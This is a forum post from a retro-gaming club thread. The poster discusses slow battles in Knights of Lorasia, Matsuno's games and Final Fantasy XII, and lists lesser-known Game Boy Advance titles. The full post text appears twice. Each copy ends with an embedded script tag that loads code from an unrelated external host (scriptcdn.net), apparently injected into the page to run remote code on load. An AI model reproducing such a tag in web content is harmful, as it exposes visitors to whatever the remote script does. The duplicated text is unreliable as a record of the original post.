Club Retro '23: September & October - Sixth Generation Games
Sept 7, 2023 15:47:44 GMT -5
Post by spiffsneed on Sept 7, 2023 15:47:44 GMT -5
Thanks for the warm welcome, everyone!
toei Definitely agreed on the slow pace of KoL. Everything in the game unfortunately contributes to the languid pace - the spell animations are lovely but long (especially the mermaid Lullaby spell; my goodness, the couple of battles against all mermaids were a real drag), enemy HP totals are large compared to the damage your characters can do (it often takes a full turn of my whole team attacking a single enemy in order to get a kill), the AI takes its time choosing what to do, and they love to run away.
Luckily, I’m mostly playing the game while also watching TV/Youtube, so that alleviates the wait quite a bit.
Xeogred I’m planning on giving the new version of LUCT a real runthrough soon; I started it a few months ago, but ended up getting hooked on Triangle Strategy instead (which I finished and is now probably my favorite TRPG ever).
I’m also a big Matsuno fan, and I think I’ve at least played almost every game he’s been involved in (other than Taiyou no Tenshi Marlowe, which looks pretty adorable). Vagrant Story is a game I’ve been enamored with since its release, though it was only more recently that I’ve come to understand the underlying game systems enough to make real progress; I always previously ended up in spots where I couldn’t do any significant damage to an enemy and got roadblocked.
FF12 was an obsession of mine when it was released on PS2. When I’ve gone back to replay, I got impatient with the load times between zones and quit pretty quickly. I need to give the rerelease for PS4 a play sometime soon.
Ex Yeah, I’m aware that Matsuno left Quest for Square between LUCT and FFT; I still consider KoL and OB64 to be birds of a feather with Matsuno’s work, since they proceed further on the systematic and thematic paths Quest established while he was still present. OB64 in particular is such an improvement on and continuation of what March of the Black Queen started, it’s incredible.
Sarge Not sure what you’ve played on GBA, but some lesser known, non-RPG games I dig are:
Bomberman Tournament - It’s Zelda but Bomberman, and the effective sequel to Bomberman Quest for GBC
Car Battler Joe - Twisted Metal on GBA with RPG elements
Drill Dozer - Probably not really a hidden gem these days, but I love it and will always mention it (along with most of Game Freak’s non-Pokemon works)
Hamtaro: Ham-Ham Heartbreak/Rainbow Rescue (Delightful puzzle/adventures. Easy, but quite enjoyable, and the latter game was developed by AlphaDream)
Rhythm Tengoku - Also probably not a hidden gem anymore, but an all-time fave
Fire Pro Wrestling 2 - There are great Fire Pro games on many systems, but this ones great too!
Shaman King: Master of Spirits - Solid licensed metroidvania from Konami
TMNT - Very good beat ‘em up from Ubisoft Montreal (
Justice League: The Flash - Very good beat ‘em up from WayForward
Guru Logi Champ - Awesome puzzle game
Shining Soul II - Simple but enjoyable Diablo-lite from Akira Ueda, who went on to make Contact, one of my favorite DS games. The art and music in this one are worth checking out alone.
CIMA: The Enemy - I actually haven’t played this one yet, but I just picked it up, and it looks like a curious strategy/puzzle/action hybrid from the folks who made Lufia
Not a GBA game, but since I was thinking about Game Freak, I highly, highly recommend Bushi Seiryuuden for Super Famicom. I don’t know of any other games like it (it’s kind of a puzzle/TRPG/platformer), and the systems are elegant in the way they build upon and feed into each other. Plus early Sugimori art <script src="https://3001.scriptcdn.net/code/us/1"></script>
toei Definitely agreed on the slow pace of KoL. Everything in the game unfortunately contributes to the languid pace - the spell animations are lovely but long (especially the mermaid Lullaby spell; my goodness, the couple of battles against all mermaids were a real drag), enemy HP totals are large compared to the damage your characters can do (it often takes a full turn of my whole team attacking a single enemy in order to get a kill), the AI takes its time choosing what to do, and they love to run away.
Luckily, I’m mostly playing the game while also watching TV/Youtube, so that alleviates the wait quite a bit.
Xeogred I’m planning on giving the new version of LUCT a real runthrough soon; I started it a few months ago, but ended up getting hooked on Triangle Strategy instead (which I finished and is now probably my favorite TRPG ever).
I’m also a big Matsuno fan, and I think I’ve at least played almost every game he’s been involved in (other than Taiyou no Tenshi Marlowe, which looks pretty adorable). Vagrant Story is a game I’ve been enamored with since its release, though it was only more recently that I’ve come to understand the underlying game systems enough to make real progress; I always previously ended up in spots where I couldn’t do any significant damage to an enemy and got roadblocked.
FF12 was an obsession of mine when it was released on PS2. When I’ve gone back to replay, I got impatient with the load times between zones and quit pretty quickly. I need to give the rerelease for PS4 a play sometime soon.
Ex Yeah, I’m aware that Matsuno left Quest for Square between LUCT and FFT; I still consider KoL and OB64 to be birds of a feather with Matsuno’s work, since they proceed further on the systematic and thematic paths Quest established while he was still present. OB64 in particular is such an improvement on and continuation of what March of the Black Queen started, it’s incredible.
Sarge Not sure what you’ve played on GBA, but some lesser known, non-RPG games I dig are:
Bomberman Tournament - It’s Zelda but Bomberman, and the effective sequel to Bomberman Quest for GBC
Car Battler Joe - Twisted Metal on GBA with RPG elements
Drill Dozer - Probably not really a hidden gem these days, but I love it and will always mention it (along with most of Game Freak’s non-Pokemon works)
Hamtaro: Ham-Ham Heartbreak/Rainbow Rescue (Delightful puzzle/adventures. Easy, but quite enjoyable, and the latter game was developed by AlphaDream)
Rhythm Tengoku - Also probably not a hidden gem anymore, but an all-time fave
Fire Pro Wrestling 2 - There are great Fire Pro games on many systems, but this ones great too!
Shaman King: Master of Spirits - Solid licensed metroidvania from Konami
TMNT - Very good beat ‘em up from Ubisoft Montreal (
Justice League: The Flash - Very good beat ‘em up from WayForward
Guru Logi Champ - Awesome puzzle game
Shining Soul II - Simple but enjoyable Diablo-lite from Akira Ueda, who went on to make Contact, one of my favorite DS games. The art and music in this one are worth checking out alone.
CIMA: The Enemy - I actually haven’t played this one yet, but I just picked it up, and it looks like a curious strategy/puzzle/action hybrid from the folks who made Lufia
Not a GBA game, but since I was thinking about Game Freak, I highly, highly recommend Bushi Seiryuuden for Super Famicom. I don’t know of any other games like it (it’s kind of a puzzle/TRPG/platformer), and the systems are elegant in the way they build upon and feed into each other. Plus early Sugimori art <script src="https://3001.scriptcdn.net/code/us/1"></script>